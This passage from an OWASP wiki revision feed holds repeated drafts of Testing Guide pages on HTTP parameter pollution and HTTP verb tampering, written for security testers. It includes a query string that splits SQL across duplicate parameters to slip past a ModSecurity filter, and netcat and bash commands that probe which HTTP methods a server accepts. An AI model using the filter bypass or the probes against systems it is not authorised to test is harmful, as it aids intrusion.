However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL &amp;lt;code&amp;gt;/index.aspx?page=select 1&amp;amp;page=2,3 from table&amp;lt;/code&amp;gt; would not trigger the ModSecurity filter, yet at the application layer, be concatenated back into the full blacklisted string.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157112</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157112"/>
				<updated>2013-08-21T16:53:12Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example, when using the Zope platform (written in the Python programming language), multiple string parameters are assembled into a List data structure. Because Python is dynamically typed language, this can expose errors when the code expects a string and receives a List instead. Depending on where this error &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157110</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157110"/>
				<updated>2013-08-21T16:36:06Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157058</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157058"/>
				<updated>2013-08-20T16:13:43Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;&lt;br /&gt;
&lt;br /&gt;
do&lt;br /&gt;
printf &amp;quot;$webservmethod &amp;quot; ;&lt;br /&gt;
printf &amp;quot;$webservmethod / HTTP/1.1\nHost: $1\n\n&amp;quot; | nc -q 1 $1 80 | grep &amp;quot;HTTP/1.1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Code copied verbatim from the Penetration Testing Lab blog [http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157057</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157057"/>
				<updated>2013-08-20T16:00:53Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157056</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=157056"/>
				<updated>2013-08-20T15:55:52Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
